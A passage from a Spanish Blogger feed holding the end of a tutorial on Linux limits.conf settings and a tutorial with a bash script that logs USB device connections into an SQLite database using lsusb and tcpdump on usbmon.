&lt;b&gt;&lt;br /&gt;&lt;/b&gt;


&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Dominio&lt;/b&gt;: Este valor es el que dictamina a qué usuario o grupo vamos a asignarle el límite. Con * se haría referencia a todos.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Tipo&lt;/b&gt;: Se puede elegir un límite duro (hard) o blando (soft). El blando sería el límite &quot;por defecto&quot; que se tendría en el sistema, mientras que el duro sería el límite que no se podría traspasar aún asignándoselo con el comando ulimit -n X.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Objeto&lt;/b&gt;: El objeto especificaría a qué le deseamos poner el límite; se puede poner límite al número de &quot;logueos&quot; simultáneos con el mismo usuario con &lt;b&gt;maxlogins&lt;/b&gt;, también se puede poner un límite para el número de procesos controlados por un usuario o grupo mediante &lt;b&gt;nproc&lt;/b&gt;, o también puede establecerse el límite de ficheros abiertos mediante &lt;b&gt;nofile&lt;/b&gt;. Existen otros objetos tales como &lt;b&gt;data &lt;/b&gt;o &lt;b&gt;fsize &lt;/b&gt;que establecerían los límites de tamaño de los datos y de los archivos respectivamente... Hay dos objetos cuyo límite es delicado y que es recomendable modificar con cuidado; dichos objetos serían &lt;b&gt;nice&lt;/b&gt;; que indicaría el valor máximo de prioridad &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Nice_(Unix)&quot; rel=&quot;nofollow&quot;&gt;nice&lt;/a&gt;&quot; que se puede establecer a un proceso, y &lt;b&gt;priority &lt;/b&gt;que establecería la prioridad por defecto asignada al programa ejecutado por el usuario o grupo. Ambos objetos pueden tener un valor negativo, pues la prioridad oscila entre -20 y 19 siendo -20 la prioridad más alta y 19 la más baja. Existen más objetos, pero los mencionados serían los más populares.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Valor&lt;/b&gt;: El valor sería simplemente el indicador del límite. Aquí se puede poner el valor que nosotros veamos necesario; se podría poner un valor bajo en algunos objetos tales como &lt;i&gt;maxlogins&lt;/i&gt;, mientras que se podrían poner valores altos (pero definidos) para objetos tales como &lt;i&gt;nofile&lt;/i&gt;. En caso de querer no ponerle limitador alguno se le pondría el valor -1, valor que haría que el límite fuese &quot;infinito&quot; ; la excepción sería para los objetos &lt;i&gt;nice &lt;/i&gt;y &lt;i&gt;priority&lt;/i&gt;, pues para ambos el valor -1 es un valor que se encuentra dentro del rango que manejan y carecen de ningún valor &quot;infinito&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A sabiendas de cual es la estructura de un límite, vamos a plasmar un par de ejemplos:&lt;br /&gt;
&lt;br /&gt;
Uno de los límites más &quot;usados&quot; sería el la cantidad de ficheros abiertos simultáneos, el cual, tal y como hemos visto antes se especificaría con el objeto nofile. Podemos crear un límite &quot;duro&quot; y uno &quot;blando&quot; para el usuario que, generalmente, más ficheros abrirá: El usuario root. Podemos poner un límite &quot;blando&quot; de 9999 ficheros y uno duro de 99999, lo cual se haría añadiendo lo siguiente:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;root   soft   nofile  9999
root   hard   nofile  99999
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Por otro lado, en caso de querer poner un límite de maximos logins simultáneos podemos hacer:&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;root   soft   maxlogins 4
root   hard   maxlogins 4
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
En caso de querer hacer referencia a un grupo en vez de a un usuario la sintaxis sería &lt;b&gt;@nombre_grupo&lt;/b&gt;. Es decir que si deseásemos hacer que el número de procesos controlados por cualquier miembro del grupo usuarios, fuese infinito, haríamos tal que así:&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f8f8f8; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;@usuarios soft  nproc -1
@usuarios hard  nproc -1
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
Para que luego estos límites hagan efecto simplemente valdría con reiniciar el equipo o (en caso de que fuese con un usuario que no fuese root) cerrar sesión, pues las sesiones activas mantendrían los valores actuales.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/9073674185828286611/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/03/limites-linux-controlar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/9073674185828286611'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/9073674185828286611'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/03/limites-linux-controlar.html' title='Límites en Linux; qué son y cómo controlarlos'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO8s5hlZDevNpKeaCojFdIYuPpj2cWIEsSTPhvmujeI6yplipJfz3PzDsgIPFyCEuzYXi3GtqCpwUNRNBJ5dsULxypzJ5lOff0qIgiw82EytiO9uQYhtHL5IpvbzV4OJvloIbORUog9JTF/s72-c/limits_portada.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-8098718055267798782</id><published>2018-02-19T20:55:00.003+01:00</published><updated>2018-02-19T20:55:36.019+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Desarrollo"/><category scheme="http://www.blogger.com/atom/ns#" term="Forense"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type='text'>Cómo registrar qué USBs se han conectado en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La recopilación de información es cada día más importante; en servidores siempre lo ha sido, pero en los equipos de sobremesa ha ido cobrando importancia paulatinamente&amp;nbsp; y hoy en día se ha demostrado que es importante tener registrada toda la información por si en un futuro nos pudiese llegar a ser útil. Hoy quiero hablar sobre el &lt;b&gt;registro de USBs en Linux&lt;/b&gt;. Linux tiene la gran ventaja de tener una enorme cantidad de logs, pero los logs no siempre te registran todos los datos que uno desea y corremos el peligro de que dichos logs sean borrados o se roten mediante utilidades tales como &lt;a href=&quot;https://bytelearning.blogspot.com.es/2015/08/controlando-la-rotacion-de-logs-con.html&quot;&gt;logrotate&lt;/a&gt;; utilidades especialmente comunes en servidores. Por eso puede ser interesante tener una herramienta corriendo en segundo plano cuya única función sea registrar qué USBs se han conectado/desconectado, la hora en la que lo han hecho, datos útiles tales como el número de serie y de paso, registrar su actividad a ser posible.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitRTcLQay1NCo52ITvhTeyBewFIV4cUDy3hBvot38LUaW1RbuBmfm6HnDYiL_gdxqCBLJleqjeQPWUh6tCoh9PYRYjDO3gjpEr0FLVPi8j76x9acDcRPgzrMuyynbcitLFpyfk5YTC1bX8/s1600/USB_portada.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;portada_registro_usb&quot; border=&quot;0&quot; data-original-height=&quot;250&quot; data-original-width=&quot;250&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitRTcLQay1NCo52ITvhTeyBewFIV4cUDy3hBvot38LUaW1RbuBmfm6HnDYiL_gdxqCBLJleqjeQPWUh6tCoh9PYRYjDO3gjpEr0FLVPi8j76x9acDcRPgzrMuyynbcitLFpyfk5YTC1bX8/s200/USB_portada.jpg&quot; title=&quot;portada_registro_usb&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En este caso no optaremos a herramientas de terceros sino que tiraremos de conceptos de Linux y los aglutinaremos en un script que automatice todo ello... Además, en este caso, no almacenaremos la información en un fichero en texto plano, sino que vamos a almacenarla en una mini base de datos en formato &lt;b&gt;SQLite&lt;/b&gt;... El motivo por el cual se ha optado por dicha opción es simple: SQLite requiere instalar pocas herramientas en el equipo lo cual es perfecto en equipos de sobremesa; además es una base de datos que consume muy pocos recursos por parte del equipo y al mismo tiempo tiene la gran ventaja de seguir siendo una base de datos basada en el lenguaje SQL, con lo cual podríamos hacer consultar de su información mediante consultas SQL mediante SELECTs con sus respectivos filtros, etc... Haciendo que la consulta de la información en el futuro sea muchísimo más eficiente, con la contrapartida de que se requieren unos conocimientos básicos de SQL para poder sacarle partido.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Teniendo esto en cuenta, comencemos con la instalación de las dependencias necesarias para que nuestra solución funcione... Dependiendo de qué distribución tengamos y las herramientas que tengamos instaladas, puede ser que ya tengamos todo lo necesario, pero para asegurarnos haremos:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;apt-get install sqlite
&lt;/pre&gt;
Teniendo todo preparado, pasaríamos a crearnos primero la mini base de datos que almacenará la información de los USBs. En mi caso en particular he creado la base de datos en /var y la he llamado listaUsbs.db con lo que su creación sería tal que así:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;sqlite &lt;span style=&quot;color: #white;&quot;&gt;/var/listaUSBs.db&lt;/span&gt;
&lt;/pre&gt;
Esto no solo crearía la base de datos, sino que estaríamos dentro de ella, con lo que pasaríamos a crear la tabla en cuestión. En mi caso he llamado a la tabla listausbs y su creación (junto con sus respectivas columnas) sería la siguiente:&lt;/div&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; lista_usbs &lt;span style=&quot;color: #d2cd86;&quot;&gt;(&lt;/span&gt;NOMBRE&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;FECHA_DETECT&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;FECHA_DESCONEX&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;
IDVENDOR&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;IDPRODUCT&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;MANUFACT&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;IPRODUCT&lt;span style=&quot;color: #d2cd86;&quot;&gt;,&lt;/span&gt;SERIAL&lt;span style=&quot;color: #d2cd86;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En esta base de datos guardaremos toda la información importante tal como el nombre completo, la fecha de detección del USB, el fabricante y el numero de serie... Información que puede sernos útil en el futuro. Con esto claro, podemos crear un script en el que por un lado monitoricemos en tiempo real toda la &lt;a href=&quot;https://bytelearning.blogspot.com.es/2016/09/pequena-vuelta-de-tuerca-la.html&quot;&gt;actividad USB mediante tcpdump&lt;/a&gt;, y por otro lado también podemos tener constancia de qué USB se ha conectado en qué momento; esto lo podemos lograr mediante el siguiente script, al cual yo he llamado &lt;b&gt;registrador_usbs.sh &lt;/b&gt;y que ha sido probado en Debian 8:&lt;/div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #f0f0f0; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#CAPTURAMOS TODO EL TRAFICO USB&lt;/span&gt;
modprobe usbmon
nohup tcpdump -i usbmon1 -w /tmp/captura.cap &amp;amp;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;while &lt;/span&gt;&lt;span style=&quot;color: #007020;&quot;&gt;true&lt;/span&gt;;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;do&lt;/span&gt;
        &lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#COMPROBAMOS SI SE HA CONECTADO ALGUN USB NUEVO&lt;/span&gt;
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;[&lt;/span&gt; ! -f /tmp/listausbs2.txt &lt;span style=&quot;color: #666666;&quot;&gt;]&lt;/span&gt;;
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;                &lt;/span&gt;touch /tmp/listausbs2.txt
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;        &lt;/span&gt;lsusb &amp;gt; /tmp/listausbs.txt
        diff /tmp/listausbs.txt /tmp/listausbs2.txt
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #bb60d5;&quot;&gt;$?&lt;/span&gt; -eq 1 &lt;span style=&quot;color: #666666;&quot;&gt;]&lt;/span&gt;
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;then&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;                &lt;/span&gt;diff /tmp/listausbs.txt /tmp/listausbs2.txt &amp;gt; /tmp/cambio.txt
                cat /tmp/cambio.txt |tail -n +2 &amp;gt; /tmp/cambio2.txt
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;while &lt;/span&gt;&lt;span style=&quot;color: #007020;&quot;&gt;read &lt;/span&gt;CAMBIO;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;do&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;                &lt;/span&gt;&lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color: #bb60d5;&quot;&gt;CAMBIO&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;}&lt;/span&gt; &amp;gt; /tmp/cambio3.txt
                cat /tmp/cambio3.txt |grep &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #bb60d5;&quot;&gt;$?&lt;/span&gt; -eq 0 &lt;span style=&quot;color: #666666;&quot;&gt;]&lt;/span&gt;;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;then&lt;/span&gt;
                        &lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#SI ES UNA CONEXION NUEVA LA REGISTRAMOS&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;NOMBRE&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;$( cat /tmp/cambio3.txt |cut -d &#39;&amp;lt;&#39; -f 2 |cut -d &#39;:&#39; -f 2- | cut -d &#39;D&#39; -f 2- )&quot;&lt;/span&gt;
                        &lt;span style=&quot;color: #007020;&quot;&gt;echo&lt;/span&gt; &lt;span style=&quot;color: #bb60d5;&quot;&gt;$NOMBRE&lt;/span&gt;
                        lsusb -D /dev/bus/usb/&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;lsusb |grep &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;${NOMBRE}&quot;&lt;/span&gt; |awk &lt;span style=&quot;color: #666666;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;print $2&#39;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;/&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;lsusb |grep &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;${NOMBRE}&quot;&lt;/span&gt; |awk &lt;span style=&quot;color: #666666;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;print $4&#39;&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;}&lt;/span&gt; |cut -d &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;:&quot;&lt;/span&gt; -f 1&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt; &amp;gt; /tmp/usb_detallado.txt
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;FECHA_DETECT&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;date&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;FECHA_DESCONEX&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;&#39;&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;IDVENDOR&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;cat /tmp/usb_detallado.txt |grep idVendor |awk &lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;{for (i=2; i&amp;lt;NF; i++) printf $i &quot; &quot;; if (NF &amp;gt;= 2) print $NF; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;IDPRODUCT&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;cat /tmp/usb_detallado.txt |grep idProduct |awk &lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;{for (i=2; i&amp;lt;NF; i++) printf $i &quot; &quot;; if (NF &amp;gt;= 2) print $NF; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;MANUFACT&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;cat /tmp/usb_detallado.txt |grep iManufacturer |awk &lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;{for (i=2; i&amp;lt;NF; i++) printf $i &quot; &quot;; if (NF &amp;gt;= 2) print $NF; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;IPRODUCT&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;cat /tmp/usb_detallado.txt |grep iProduct |awk &lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;{for (i=2; i&amp;lt;NF; i++) printf $i &quot; &quot;; if (NF &amp;gt;= 2) print $NF; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;SERIAL&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;cat /tmp/usb_detallado.txt |grep iSerial |awk &lt;span style=&quot;color: #4070a0;&quot;&gt;&#39;{for (i=2; i&amp;lt;NF; i++) printf $i &quot; &quot;; if (NF &amp;gt;= 2) print $NF; }&#39;&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        sqlite /var/listaUSBs.db &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;INSERT INTO lista_usbs VALUES (&#39;${NOMBRE}&#39;,&#39;${FECHA_DETECT}&#39;,&#39;${FECHA_DESCONEX}&#39;,&#39;${IDVENDOR}&#39;,&#39;${IDPRODUCT}&#39;,&#39;${MANUFACT}&#39;,&#39;${IPRODUCT}&#39;,&#39;${SERIAL}&#39;);&quot;&lt;/span&gt;
                        rm /tmp/usb_detallado.txt
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;                &lt;/span&gt;cat /tmp/cambio3.txt |grep &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;[&lt;/span&gt; &lt;span style=&quot;color: #bb60d5;&quot;&gt;$?&lt;/span&gt; -eq 0 &lt;span style=&quot;color: #666666;&quot;&gt;]&lt;/span&gt;;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;then&lt;/span&gt;
                        &lt;span style=&quot;color: #60a0b0; font-style: italic;&quot;&gt;#SI ES UNA DESCONEXION ACTUALIZAMOS LOS DATOS CORRESPONDIENTES&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;NOMBRE&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;$( cat /tmp/cambio3.txt |cut -d &#39;&amp;gt;&#39; -f 2 |cut -d &#39;:&#39; -f 2- | cut -d &#39;D&#39; -f 2- )&quot;&lt;/span&gt;
                        &lt;span style=&quot;color: #bb60d5;&quot;&gt;FECHA_DESCONEX&lt;/span&gt;&lt;span style=&quot;color: #666666;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;$(&lt;/span&gt;date&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;)&lt;/span&gt;
                        sqlite /var/listaUSBs.db &lt;span style=&quot;color: #4070a0;&quot;&gt;&quot;UPDATE lista_usbs SET FECHA_DESCONEX=&#39;${FECHA_DESCONEX}&#39; WHERE FECHA_DESCONEX=&#39;&#39; AND NOMBRE=&#39;${NOMBRE}&#39;;&quot;&lt;/span&gt;
                &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;                done&lt;/span&gt; &amp;lt; /tmp/cambio2.txt
                rm /tmp/cambio.txt
                rm /tmp/cambio2.txt
                rm /tmp/cambio3.txt
        &lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;fi&lt;/span&gt;
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;        &lt;/span&gt;mv /tmp/listausbs.txt /tmp/listausbs2.txt
&lt;span style=&quot;color: #007020; font-weight: bold;&quot;&gt;done&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Con este script, solamente ejecutándolo en segundo plano estaríamos monitorizando en tiempo real toda la actividad mediante tcpdump, y registrándola en nuestra base de datos SQLite. Solamente habría que escribir:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;registrador_usbs&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;sh &lt;span style=&quot;color: #d2cd86;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;dev&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;null&lt;/span&gt; &lt;span style=&quot;color: #d2cd86;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Dicha información podría ser consultada en el futuro mediante consultas SQL tales como:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Para ver todos los registros:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;sqlite &lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;listaUSBs&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;db &lt;span style=&quot;color: #02d045;&quot;&gt;&quot;SELECT * FROM lista_usbs;&quot;&lt;/span&gt;
&lt;/pre&gt;
Para ver un numero de serie concreto:&lt;br /&gt;
&lt;pre style=&quot;background: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;sqlite &lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;listaUSBs&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;db &quot;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #d2cd86;&quot;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #e66170;&quot;&gt;&lt;b&gt;FROM &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;lista_usbs &lt;/span&gt;&lt;b style=&quot;color: #e66170;&quot;&gt;WHERE &lt;/b&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;
SERIAL&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #00c4c4;&quot;&gt;&#39;3 20060413092100000&#39;&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #d1d1d1;&quot;&gt;&quot;
&lt;/span&gt;&lt;/pre&gt;
Para eliminar todos los registros:&lt;br /&gt;
